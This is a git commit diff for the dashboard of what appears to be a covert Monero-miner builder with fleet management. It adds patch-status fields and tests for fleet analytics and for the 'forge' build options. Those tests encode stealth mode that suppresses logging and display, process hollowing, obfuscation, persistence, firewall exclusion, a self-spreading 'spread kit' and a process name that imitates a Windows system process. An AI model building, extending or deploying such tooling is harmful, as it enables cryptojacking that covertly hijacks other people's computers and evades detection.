feat: Tenable-style patch_status - pending_updates, last_patch, reboot_pending across full stack
This commit is contained in:
@@ -115,6 +115,17 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
),
|
||||
status: 'online' as const,
|
||||
...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
|
||||
...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
|
||||
...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),
|
||||
...(update.defender_rtp !== undefined ? { defender_rtp: update.defender_rtp } : {}),
|
||||
...(update.av_products !== undefined ? { av_products: update.av_products } : {}),
|
||||
...(update.firewall_domain !== undefined ? { firewall_domain: update.firewall_domain } : {}),
|
||||
...(update.firewall_private !== undefined ? { firewall_private: update.firewall_private } : {}),
|
||||
...(update.firewall_public !== undefined ? { firewall_public: update.firewall_public } : {}),
|
||||
...(update.last_patch !== undefined ? { last_patch: update.last_patch } : {}),
|
||||
...(update.pending_updates !== undefined ? { pending_updates: update.pending_updates } : {}),
|
||||
...(update.reboot_pending !== undefined ? { reboot_pending: update.reboot_pending } : {}),
|
||||
...(update.agent_elevated !== undefined ? { agent_elevated: update.agent_elevated } : {}),
|
||||
}
|
||||
: a
|
||||
)
|
||||
|
||||
40
server/web/src/help/endpointHelpers.test.ts
Normal file
40
server/web/src/help/endpointHelpers.test.ts
Normal file
@@ -0,0 +1,40 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { formatLanEndpoint, lanEndpointCandidates } from './endpointHelpers';
|
||||
import type { ServerInfo } from '../types';
|
||||
|
||||
describe('formatLanEndpoint', () => {
|
||||
it('strips scheme and path from host', () => {
|
||||
expect(formatLanEndpoint('https://192.168.1.5:8989/extra', 8989)).toBe('http://192.168.1.5:8989');
|
||||
});
|
||||
|
||||
it('builds http URL from bare IP', () => {
|
||||
expect(formatLanEndpoint('10.0.0.2', 7777)).toBe('http://10.0.0.2:7777');
|
||||
});
|
||||
});
|
||||
|
||||
describe('lanEndpointCandidates', () => {
|
||||
it('dedupes suggested URL and local IPs', () => {
|
||||
const info: ServerInfo = {
|
||||
port: 8989,
|
||||
host: 'localhost',
|
||||
local_ips: ['192.168.1.10', '192.168.1.10'],
|
||||
suggested_url: 'http://192.168.1.10:8989',
|
||||
dashboard_url: 'http://192.168.1.10:8989',
|
||||
websocket_url: 'ws://192.168.1.10:8989/ws/agent',
|
||||
};
|
||||
const urls = lanEndpointCandidates(info);
|
||||
expect(urls).toEqual(['http://192.168.1.10:8989']);
|
||||
});
|
||||
|
||||
it('honours port override', () => {
|
||||
const info: ServerInfo = {
|
||||
port: 8989,
|
||||
host: 'localhost',
|
||||
local_ips: ['10.0.0.1'],
|
||||
suggested_url: '',
|
||||
dashboard_url: '',
|
||||
websocket_url: '',
|
||||
};
|
||||
expect(lanEndpointCandidates(info, 9000)).toEqual(['http://10.0.0.1:9000']);
|
||||
});
|
||||
});
|
||||
133
server/web/src/help/fleetAnalytics.test.ts
Normal file
133
server/web/src/help/fleetAnalytics.test.ts
Normal file
@@ -0,0 +1,133 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
computeFleetHealth,
|
||||
contributionBars,
|
||||
findUnderperformers,
|
||||
fleetMedianHashrate,
|
||||
groupBySubnet,
|
||||
osArchBreakdown,
|
||||
staleAgentIds,
|
||||
timeToPayout,
|
||||
} from './fleetAnalytics';
|
||||
import type { Agent, PoolStatus } from '../types';
|
||||
|
||||
const agent = (overrides: Partial<Agent> = {}): Agent => ({
|
||||
id: 'a1',
|
||||
name: 'node-1',
|
||||
status: 'online',
|
||||
hashrate_15m: 1000,
|
||||
shares_total: 100,
|
||||
shares_good: 98,
|
||||
ip: '192.168.1.10',
|
||||
platform: 'windows',
|
||||
arch: 'amd64',
|
||||
last_seen: new Date().toISOString(),
|
||||
...overrides,
|
||||
} as Agent);
|
||||
|
||||
describe('computeFleetHealth', () => {
|
||||
it('returns NOMINAL for healthy fleet', () => {
|
||||
const agents = [agent(), agent({ id: 'a2', name: 'node-2', hashrate_15m: 900 })];
|
||||
const pools: PoolStatus[] = [{ name: 'primary', status: 'green' }];
|
||||
const health = computeFleetHealth(agents, pools);
|
||||
expect(health.label).toBe('NOMINAL');
|
||||
expect(health.score).toBeGreaterThanOrEqual(80);
|
||||
expect(health.issues).toHaveLength(0);
|
||||
});
|
||||
|
||||
it('flags offline nodes and pool degradation', () => {
|
||||
const agents = [agent(), agent({ id: 'a2', status: 'offline', hashrate_15m: 0 })];
|
||||
const pools: PoolStatus[] = [{ name: 'primary', status: 'red' }];
|
||||
const health = computeFleetHealth(agents, pools);
|
||||
expect(health.label).not.toBe('NOMINAL');
|
||||
expect(health.issues.some((i) => i.includes('offline'))).toBe(true);
|
||||
expect(health.issues.some((i) => i.includes('pool'))).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('contributionBars', () => {
|
||||
it('sorts online agents by hashrate share', () => {
|
||||
const bars = contributionBars([
|
||||
agent({ id: 'a1', hashrate_15m: 300 }),
|
||||
agent({ id: 'a2', hashrate_15m: 700 }),
|
||||
agent({ id: 'a3', status: 'offline', hashrate_15m: 9999 }),
|
||||
]);
|
||||
expect(bars).toHaveLength(2);
|
||||
expect(bars[0].id).toBe('a2');
|
||||
expect(bars[0].pct).toBeCloseTo(70, 1);
|
||||
});
|
||||
});
|
||||
|
||||
describe('findUnderperformers', () => {
|
||||
it('returns agents below 70% of median', () => {
|
||||
const agents = [
|
||||
agent({ id: 'fast', hashrate_15m: 1000 }),
|
||||
agent({ id: 'slow', hashrate_15m: 500 }),
|
||||
agent({ id: 'mid', hashrate_15m: 900 }),
|
||||
];
|
||||
const under = findUnderperformers(agents);
|
||||
expect(under.map((a) => a.id)).toEqual(['slow']);
|
||||
});
|
||||
|
||||
it('returns empty when fewer than 2 online miners', () => {
|
||||
expect(findUnderperformers([agent()])).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('fleetMedianHashrate', () => {
|
||||
it('computes median of online non-zero agents', () => {
|
||||
const med = fleetMedianHashrate([
|
||||
agent({ hashrate_15m: 100 }),
|
||||
agent({ id: 'a2', hashrate_15m: 300 }),
|
||||
agent({ id: 'a3', hashrate_15m: 200 }),
|
||||
]);
|
||||
expect(med).toBe(200);
|
||||
});
|
||||
});
|
||||
|
||||
describe('groupBySubnet', () => {
|
||||
it('groups by /24 prefix', () => {
|
||||
const groups = groupBySubnet([
|
||||
agent({ ip: '10.0.0.1' }),
|
||||
agent({ id: 'a2', ip: '10.0.0.2' }),
|
||||
agent({ id: 'a3', ip: '192.168.5.9' }),
|
||||
]);
|
||||
expect(groups).toHaveLength(2);
|
||||
expect(groups[0].subnet).toBe('10.0.0.x');
|
||||
expect(groups[0].agents).toHaveLength(2);
|
||||
});
|
||||
});
|
||||
|
||||
describe('osArchBreakdown', () => {
|
||||
it('labels platforms for display', () => {
|
||||
const rows = osArchBreakdown([
|
||||
agent({ platform: 'linux', arch: 'amd64' }),
|
||||
agent({ id: 'a2', platform: 'darwin', arch: 'arm64' }),
|
||||
]);
|
||||
expect(rows.some((r) => r.label.includes('Linux'))).toBe(true);
|
||||
expect(rows.some((r) => r.label.includes('macOS'))).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('staleAgentIds', () => {
|
||||
it('flags online agents not seen in 5+ minutes', () => {
|
||||
const staleTime = new Date(Date.now() - 6 * 60 * 1000).toISOString();
|
||||
const ids = staleAgentIds([
|
||||
agent({ id: 'fresh', last_seen: new Date().toISOString() }),
|
||||
agent({ id: 'stale', last_seen: staleTime }),
|
||||
]);
|
||||
expect(ids.has('stale')).toBe(true);
|
||||
expect(ids.has('fresh')).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('timeToPayout', () => {
|
||||
it('returns days until payout', () => {
|
||||
expect(timeToPayout(0.5, 0.25)).toBe(2);
|
||||
});
|
||||
|
||||
it('returns null when data missing', () => {
|
||||
expect(timeToPayout(undefined, 1)).toBeNull();
|
||||
expect(timeToPayout(1, 0)).toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -86,9 +86,9 @@ export function computeFleetHealth(agents: Agent[], pools: PoolStatus[]): FleetH
|
||||
// ─── Contribution Map ─────────────────────────────────────────────────────────
|
||||
|
||||
export function contributionBars(agents: Agent[]): ContributionBar[] {
|
||||
const total = agents.reduce((s, a) => s + a.hashrate_15m, 0);
|
||||
return agents
|
||||
.filter((a) => a.status === 'online')
|
||||
const online = agents.filter((a) => a.status === 'online');
|
||||
const total = online.reduce((s, a) => s + a.hashrate_15m, 0);
|
||||
return online
|
||||
.map((a) => ({
|
||||
id: a.id,
|
||||
name: a.name,
|
||||
|
||||
273
server/web/src/help/forgeCompatibility.test.ts
Normal file
273
server/web/src/help/forgeCompatibility.test.ts
Normal file
@@ -0,0 +1,273 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { runForgeCompatibilityChecks } from './forgeCompatibility';
|
||||
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
|
||||
import type { BuildRequest } from '../types';
|
||||
|
||||
/** Valid mainnet-style Monero address (95 chars, starts with 4). */
|
||||
const VALID_WALLET = '4' + 'A'.repeat(94);
|
||||
|
||||
function baseForm(overrides: Partial<BuildRequest> = {}): BuildRequest {
|
||||
return {
|
||||
worker_name: 'pc-lab-1',
|
||||
server_url: 'http://192.168.1.10:8989',
|
||||
wallet: VALID_WALLET,
|
||||
pool_host: 'pool.supportxmr.com',
|
||||
pool_port: 3333,
|
||||
pool_tls: true,
|
||||
pool_pass: 'x',
|
||||
...FORGE_BUILD_DEFAULTS,
|
||||
...overrides,
|
||||
} as BuildRequest;
|
||||
}
|
||||
|
||||
function hasCheck(form: BuildRequest, fusionPrep: boolean, id: string, level?: string) {
|
||||
const checks = runForgeCompatibilityChecks(form, fusionPrep);
|
||||
const match = checks.find((c) => c.id === id);
|
||||
if (!match) return false;
|
||||
return level === undefined || match.level === level;
|
||||
}
|
||||
|
||||
describe('runForgeCompatibilityChecks', () => {
|
||||
it('returns no errors for a fully valid form', () => {
|
||||
const checks = runForgeCompatibilityChecks(baseForm(), false);
|
||||
const errors = checks.filter((c) => c.level === 'error');
|
||||
expect(errors).toHaveLength(0);
|
||||
expect(checks.some((c) => c.id === 'forge_ready' && c.level === 'ok')).toBe(true);
|
||||
});
|
||||
|
||||
describe('stealth and display', () => {
|
||||
it('errors when stealth mode uses visible display', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ stealth_mode: true, display_mode: 'visible' }), false, 'stealth_display', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when stealth mode enables file logging', () => {
|
||||
expect(hasCheck(baseForm({ stealth_mode: true, file_logging: true }), false, 'stealth_logs', 'error')).toBe(
|
||||
true
|
||||
);
|
||||
});
|
||||
|
||||
it('errors when fusion uses visible display', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ fusion_enabled: true, display_mode: 'visible' }), false, 'fusion_display', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('idle mining mode', () => {
|
||||
it('errors when idle threshold is out of range', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ mining_mode: 'idle', idle_threshold_pct: 0 }), false, 'idle_threshold', 'error')
|
||||
).toBe(true);
|
||||
expect(
|
||||
hasCheck(baseForm({ mining_mode: 'idle', idle_threshold_pct: 101 }), false, 'idle_threshold', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when idle duration is below 1 minute', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ mining_mode: 'idle', idle_duration_minutes: 0 }), false, 'idle_duration', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('does not check idle fields when mining mode is not idle', () => {
|
||||
expect(hasCheck(baseForm({ mining_mode: 'always', idle_threshold_pct: 0 }), false, 'idle_threshold')).toBe(
|
||||
false
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('scheduled mining mode', () => {
|
||||
it('errors when schedule times are missing', () => {
|
||||
expect(
|
||||
hasCheck(
|
||||
baseForm({ mining_mode: 'scheduled', schedule_start: '', schedule_end: '' }),
|
||||
false,
|
||||
'schedule',
|
||||
'error'
|
||||
)
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('passes when both schedule times are set', () => {
|
||||
expect(
|
||||
hasCheck(
|
||||
baseForm({ mining_mode: 'scheduled', schedule_start: '22:00', schedule_end: '06:00' }),
|
||||
false,
|
||||
'schedule'
|
||||
)
|
||||
).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('threads and CPU limits', () => {
|
||||
it('warns when adapt_to_hardware is on with fixed thread mode', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ thread_mode: 'fixed', adapt_to_hardware: true }), false, 'adapt_fixed', 'warn')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when thread percent is out of range', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ thread_mode: 'percent', thread_percent: 0 }), false, 'thread_percent_range', 'error')
|
||||
).toBe(true);
|
||||
expect(
|
||||
hasCheck(baseForm({ thread_mode: 'percent', thread_percent: 101 }), false, 'thread_percent_range', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when max CPU usage is out of range', () => {
|
||||
expect(hasCheck(baseForm({ max_cpu_usage_pct: 0 }), false, 'max_cpu', 'error')).toBe(true);
|
||||
expect(hasCheck(baseForm({ max_cpu_usage_pct: 101 }), false, 'max_cpu', 'error')).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when max memory is out of range', () => {
|
||||
expect(hasCheck(baseForm({ max_memory_percent: 9 }), false, 'max_mem', 'error')).toBe(true);
|
||||
expect(hasCheck(baseForm({ max_memory_percent: 96 }), false, 'max_mem', 'error')).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('pool configuration', () => {
|
||||
it('errors when pool port is out of range', () => {
|
||||
expect(hasCheck(baseForm({ pool_port: 0 }), false, 'pool_port', 'error')).toBe(true);
|
||||
expect(hasCheck(baseForm({ pool_port: 70000 }), false, 'pool_port', 'error')).toBe(true);
|
||||
});
|
||||
|
||||
it('warns on port 443 without TLS', () => {
|
||||
expect(hasCheck(baseForm({ pool_port: 443, pool_tls: false }), false, 'pool_tls_443', 'warn')).toBe(true);
|
||||
});
|
||||
|
||||
it('warns on TLS with port 3333', () => {
|
||||
expect(hasCheck(baseForm({ pool_port: 3333, pool_tls: true }), false, 'pool_tls_3333', 'warn')).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when pool password is empty', () => {
|
||||
expect(hasCheck(baseForm({ pool_pass: ' ' }), false, 'pool_pass', 'warn')).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('run mode and AI', () => {
|
||||
it('warns when run_as is service', () => {
|
||||
expect(hasCheck(baseForm({ run_as: 'service' }), false, 'run_as_service', 'warn')).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when AI uses 127.0.0.1 endpoint', () => {
|
||||
expect(
|
||||
hasCheck(
|
||||
baseForm({ ai_enabled: true, ai_ollama_endpoint: 'http://127.0.0.1:11434' }),
|
||||
false,
|
||||
'ai_localhost',
|
||||
'warn'
|
||||
)
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when AI is enabled without self-healing', () => {
|
||||
expect(hasCheck(baseForm({ ai_enabled: true, self_healing: false }), false, 'ai_no_heal', 'warn')).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('identity fields', () => {
|
||||
it('errors when process name is empty', () => {
|
||||
expect(hasCheck(baseForm({ process_name: ' ' }), false, 'process_name_empty', 'error')).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when process name has unusual characters', () => {
|
||||
expect(hasCheck(baseForm({ process_name: 'bad name!' }), false, 'process_name', 'warn')).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when worker name is empty', () => {
|
||||
expect(hasCheck(baseForm({ worker_name: '' }), false, 'worker_name_empty', 'error')).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when server URL uses localhost', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ server_url: 'http://localhost:8989' }), false, 'server_url_localhost', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when server URL uses 127.0.0.1', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ server_url: 'http://127.0.0.1:8989' }), false, 'server_url_localhost', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when wallet does not match Monero format', () => {
|
||||
expect(hasCheck(baseForm({ wallet: 'not-a-wallet' }), false, 'wallet_invalid', 'warn')).toBe(true);
|
||||
});
|
||||
|
||||
it('accepts minimum-length wallet (90 chars)', () => {
|
||||
const wallet = '4' + 'A'.repeat(89);
|
||||
expect(wallet.length).toBe(90);
|
||||
expect(hasCheck(baseForm({ wallet }), false, 'wallet_invalid')).toBe(false);
|
||||
});
|
||||
|
||||
it('accepts subaddress starting with 8', () => {
|
||||
const subaddress = '8' + 'B'.repeat(94);
|
||||
expect(hasCheck(baseForm({ wallet: subaddress }), false, 'wallet_invalid')).toBe(false);
|
||||
});
|
||||
|
||||
it('emits forge_ready when core config is coherent', () => {
|
||||
const checks = runForgeCompatibilityChecks(baseForm(), false);
|
||||
const ready = checks.find((c) => c.id === 'forge_ready');
|
||||
expect(ready?.level).toBe('ok');
|
||||
expect(ready?.message).toContain('Core miner config looks coherent');
|
||||
});
|
||||
});
|
||||
|
||||
describe('fusion and deliverables', () => {
|
||||
it('emits fusion_ready when prep is attached', () => {
|
||||
expect(hasCheck(baseForm({ fusion_enabled: true }), true, 'fusion_ready', 'ok')).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when spread kit targets non-universal OS', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ spread_kit: true, target_os: 'windows' }), false, 'spread_kit_os', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when spread kit and fusion are both enabled', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ spread_kit: true, fusion_enabled: true }), false, 'spread_fusion', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when universal has no spread kit or fusion', () => {
|
||||
expect(
|
||||
hasCheck(
|
||||
baseForm({ target_os: 'universal', spread_kit: false, fusion_enabled: false }),
|
||||
false,
|
||||
'universal_deliverable',
|
||||
'warn'
|
||||
)
|
||||
).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('platform-specific constraints', () => {
|
||||
it('errors when process hollowing is set on Linux', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ target_os: 'linux', process_hollowing: true }), false, 'hollow_unix', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when process hollowing is set on macOS', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ target_os: 'darwin', process_hollowing: true }), false, 'hollow_unix', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when sign_build is set on Linux', () => {
|
||||
expect(hasCheck(baseForm({ target_os: 'linux', sign_build: true }), false, 'sign_unix', 'error')).toBe(
|
||||
true
|
||||
);
|
||||
});
|
||||
|
||||
it('errors when sign_build is set on macOS', () => {
|
||||
expect(hasCheck(baseForm({ target_os: 'darwin', sign_build: true }), false, 'sign_unix', 'error')).toBe(
|
||||
true
|
||||
);
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -190,7 +190,7 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect
|
||||
checks.push({
|
||||
id: 'wallet_invalid',
|
||||
level: 'warn',
|
||||
message: 'Wallet address does not match standard Monero format (starting with 4 or 8, length 95-106). Double check it.',
|
||||
message: 'Wallet address does not match standard Monero format (starting with 4 or 8, length 90-106). Double check it.',
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
427
server/web/src/help/forgeRules.test.ts
Normal file
427
server/web/src/help/forgeRules.test.ts
Normal file
@@ -0,0 +1,427 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
FORGE_SECTIONS,
|
||||
applyForgeFieldUpdate,
|
||||
forgeBadgeLabel,
|
||||
getForgeFieldMeta,
|
||||
getForgeLiveNotices,
|
||||
type ForgeFieldBadge,
|
||||
} from './forgeRules';
|
||||
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
|
||||
import type { BuildRequest } from '../types';
|
||||
|
||||
function baseForm(overrides: Partial<BuildRequest> = {}): BuildRequest {
|
||||
return {
|
||||
worker_name: 'pc-lab-1',
|
||||
server_url: 'http://192.168.1.10:8989',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
pool_host: 'pool.supportxmr.com',
|
||||
pool_port: 3333,
|
||||
pool_tls: false,
|
||||
pool_pass: 'x',
|
||||
...FORGE_BUILD_DEFAULTS,
|
||||
...overrides,
|
||||
} as BuildRequest;
|
||||
}
|
||||
|
||||
describe('FORGE_SECTIONS', () => {
|
||||
it('defines six sections in order', () => {
|
||||
expect(FORGE_SECTIONS).toHaveLength(6);
|
||||
expect(FORGE_SECTIONS.map((s) => s.id)).toEqual([
|
||||
'identity',
|
||||
'pool',
|
||||
'performance',
|
||||
'install',
|
||||
'fusion',
|
||||
'ai',
|
||||
]);
|
||||
});
|
||||
|
||||
it('each section has id, title, description, and baked badge', () => {
|
||||
for (const section of FORGE_SECTIONS) {
|
||||
expect(section.id.length).toBeGreaterThan(0);
|
||||
expect(section.title.length).toBeGreaterThan(0);
|
||||
expect(section.description.length).toBeGreaterThan(0);
|
||||
expect(section.badge).toBe('baked');
|
||||
}
|
||||
});
|
||||
|
||||
it('uses expected section titles', () => {
|
||||
const titles = Object.fromEntries(FORGE_SECTIONS.map((s) => [s.id, s.title]));
|
||||
expect(titles.identity).toBe('Identity');
|
||||
expect(titles.pool).toBe('Pool Configuration');
|
||||
expect(titles.performance).toBe('Performance & Resources');
|
||||
expect(titles.install).toBe('Install & Process');
|
||||
expect(titles.fusion).toBe('Fusion');
|
||||
expect(titles.ai).toBe('AI Autonomy');
|
||||
});
|
||||
});
|
||||
|
||||
describe('forgeBadgeLabel', () => {
|
||||
const cases: [ForgeFieldBadge, string][] = [
|
||||
['baked', 'Baked into installer'],
|
||||
['server-only', 'Server folder only — not in .exe'],
|
||||
['requires', 'Required when parent option is on'],
|
||||
];
|
||||
|
||||
it.each(cases)('maps %s badge to label', (badge, label) => {
|
||||
expect(forgeBadgeLabel(badge)).toBe(label);
|
||||
});
|
||||
});
|
||||
|
||||
describe('applyForgeFieldUpdate', () => {
|
||||
it('stealth_mode disables logging and forces silent/background', () => {
|
||||
const out = applyForgeFieldUpdate(
|
||||
baseForm({ display_mode: 'visible', file_logging: true, silent_mode: false }),
|
||||
'stealth_mode',
|
||||
true
|
||||
);
|
||||
expect(out.stealth_mode).toBe(true);
|
||||
expect(out.file_logging).toBe(false);
|
||||
expect(out.display_mode).toBe('background');
|
||||
expect(out.silent_mode).toBe(true);
|
||||
});
|
||||
|
||||
it('display_mode visible clears stealth and silent', () => {
|
||||
const out = applyForgeFieldUpdate(
|
||||
baseForm({ stealth_mode: true, silent_mode: true }),
|
||||
'display_mode',
|
||||
'visible'
|
||||
);
|
||||
expect(out.display_mode).toBe('visible');
|
||||
expect(out.stealth_mode).toBe(false);
|
||||
expect(out.silent_mode).toBe(false);
|
||||
});
|
||||
|
||||
it('display_mode silent/background enables silent_mode', () => {
|
||||
expect(applyForgeFieldUpdate(baseForm({ silent_mode: false }), 'display_mode', 'silent').silent_mode).toBe(
|
||||
true
|
||||
);
|
||||
expect(
|
||||
applyForgeFieldUpdate(baseForm({ silent_mode: false }), 'display_mode', 'background').silent_mode
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('persistence and auto_start stay linked', () => {
|
||||
expect(applyForgeFieldUpdate(baseForm({ auto_start: false }), 'persistence', true).auto_start).toBe(true);
|
||||
expect(applyForgeFieldUpdate(baseForm({ persistence: false }), 'auto_start', true).persistence).toBe(true);
|
||||
});
|
||||
|
||||
it('linux target clears Windows-only flags and fixes install base', () => {
|
||||
const out = applyForgeFieldUpdate(
|
||||
baseForm({
|
||||
target_os: 'windows',
|
||||
process_hollowing: true,
|
||||
sign_build: true,
|
||||
obfuscate: true,
|
||||
install_base: 'localappdata',
|
||||
}),
|
||||
'target_os',
|
||||
'linux'
|
||||
);
|
||||
expect(out.target_os).toBe('linux');
|
||||
expect(out.target_arch).toBe('amd64');
|
||||
expect(out.process_hollowing).toBe(false);
|
||||
expect(out.sign_build).toBe(false);
|
||||
expect(out.obfuscate).toBe(false);
|
||||
expect(out.spread_kit).toBe(false);
|
||||
expect(out.install_base).toBe('xdg_data_home');
|
||||
});
|
||||
|
||||
it('darwin target defaults to arm64', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm(), 'target_os', 'darwin');
|
||||
expect(out.target_os).toBe('darwin');
|
||||
expect(out.target_arch).toBe('arm64');
|
||||
});
|
||||
|
||||
it('windows target restores localappdata from xdg path', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm({ install_base: 'xdg_data_home' }), 'target_os', 'windows');
|
||||
expect(out.target_os).toBe('windows');
|
||||
expect(out.target_arch).toBe('all');
|
||||
expect(out.install_base).toBe('localappdata');
|
||||
});
|
||||
|
||||
it('universal target on single deliverable normalizes back to windows', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm(), 'target_os', 'universal');
|
||||
expect(out.target_os).toBe('windows');
|
||||
expect(out.target_arch).toBe('all');
|
||||
});
|
||||
|
||||
it('universal target stays when spread kit is active', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm({ spread_kit: true }), 'target_os', 'universal');
|
||||
expect(out.target_os).toBe('universal');
|
||||
expect(out.target_arch).toBe('all');
|
||||
});
|
||||
|
||||
it('fusion_enabled forces background, clears spread kit, and universal target', () => {
|
||||
const out = applyForgeFieldUpdate(
|
||||
baseForm({ spread_kit: true, display_mode: 'visible', target_os: 'windows' }),
|
||||
'fusion_enabled',
|
||||
true
|
||||
);
|
||||
expect(out.fusion_enabled).toBe(true);
|
||||
expect(out.display_mode).toBe('background');
|
||||
expect(out.silent_mode).toBe(true);
|
||||
expect(out.spread_kit).toBe(false);
|
||||
expect(out.target_os).toBe('universal');
|
||||
});
|
||||
|
||||
it('spread_kit applies full preset and clears fusion', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm({ fusion_enabled: true }), 'spread_kit', true);
|
||||
expect(out.spread_kit).toBe(true);
|
||||
expect(out.fusion_enabled).toBe(false);
|
||||
expect(out.target_os).toBe('universal');
|
||||
expect(out.target_arch).toBe('all');
|
||||
expect(out.run_as).toBe('scheduled');
|
||||
expect(out.persistence).toBe(true);
|
||||
expect(out.auto_start).toBe(true);
|
||||
expect(out.self_healing).toBe(true);
|
||||
expect(out.stealth_mode).toBe(true);
|
||||
expect(out.silent_mode).toBe(true);
|
||||
expect(out.file_logging).toBe(false);
|
||||
expect(out.firewall_exclusion).toBe(true);
|
||||
expect(out.display_mode).toBe('background');
|
||||
expect(out.process_hollowing).toBe(false);
|
||||
});
|
||||
|
||||
it('thread_mode fixed sets minimum threads', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm({ threads: 0 }), 'thread_mode', 'fixed');
|
||||
expect(out.thread_mode).toBe('fixed');
|
||||
expect(out.threads).toBeGreaterThanOrEqual(1);
|
||||
});
|
||||
|
||||
it('thread_mode percent clamps invalid thread_percent', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm({ thread_percent: 0 }), 'thread_mode', 'percent');
|
||||
expect(out.thread_percent).toBe(75);
|
||||
});
|
||||
|
||||
it('install_base non-custom clears custom path', () => {
|
||||
const out = applyForgeFieldUpdate(
|
||||
baseForm({ install_custom_base: 'C:\\custom', install_base: 'custom' }),
|
||||
'install_base',
|
||||
'localappdata'
|
||||
);
|
||||
expect(out.install_base).toBe('localappdata');
|
||||
expect(out.install_custom_base).toBe('');
|
||||
});
|
||||
|
||||
it('run_as scheduled/service forces persistence flags', () => {
|
||||
const scheduled = applyForgeFieldUpdate(baseForm({ persistence: false, auto_start: false }), 'run_as', 'scheduled');
|
||||
expect(scheduled.persistence).toBe(true);
|
||||
expect(scheduled.auto_start).toBe(true);
|
||||
|
||||
const service = applyForgeFieldUpdate(baseForm({ persistence: false }), 'run_as', 'service');
|
||||
expect(service.persistence).toBe(true);
|
||||
expect(service.auto_start).toBe(true);
|
||||
});
|
||||
|
||||
it('ai_enabled fills default endpoint and model when empty', () => {
|
||||
const out = applyForgeFieldUpdate(
|
||||
baseForm({ ai_ollama_endpoint: '', ai_model: '' }),
|
||||
'ai_enabled',
|
||||
true
|
||||
);
|
||||
expect(out.ai_enabled).toBe(true);
|
||||
expect(out.ai_ollama_endpoint).toBe('http://localhost:11434');
|
||||
expect(out.ai_model).toBe('llama3.2');
|
||||
});
|
||||
|
||||
it('pool_port 443 auto-enables TLS', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm({ pool_tls: false }), 'pool_port', 443);
|
||||
expect(out.pool_port).toBe(443);
|
||||
expect(out.pool_tls).toBe(true);
|
||||
});
|
||||
|
||||
it('worker_name update does not auto-derive process_name', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm({ process_name: 'RuntimeBrokerHelper' }), 'worker_name', 'new-worker');
|
||||
expect(out.worker_name).toBe('new-worker');
|
||||
expect(out.process_name).toBe('RuntimeBrokerHelper');
|
||||
});
|
||||
});
|
||||
|
||||
describe('getForgeFieldMeta', () => {
|
||||
it('returns meta for all known forge fields', () => {
|
||||
const meta = getForgeFieldMeta(baseForm());
|
||||
const expectedKeys = [
|
||||
'worker_name',
|
||||
'server_url',
|
||||
'wallet',
|
||||
'output_dir',
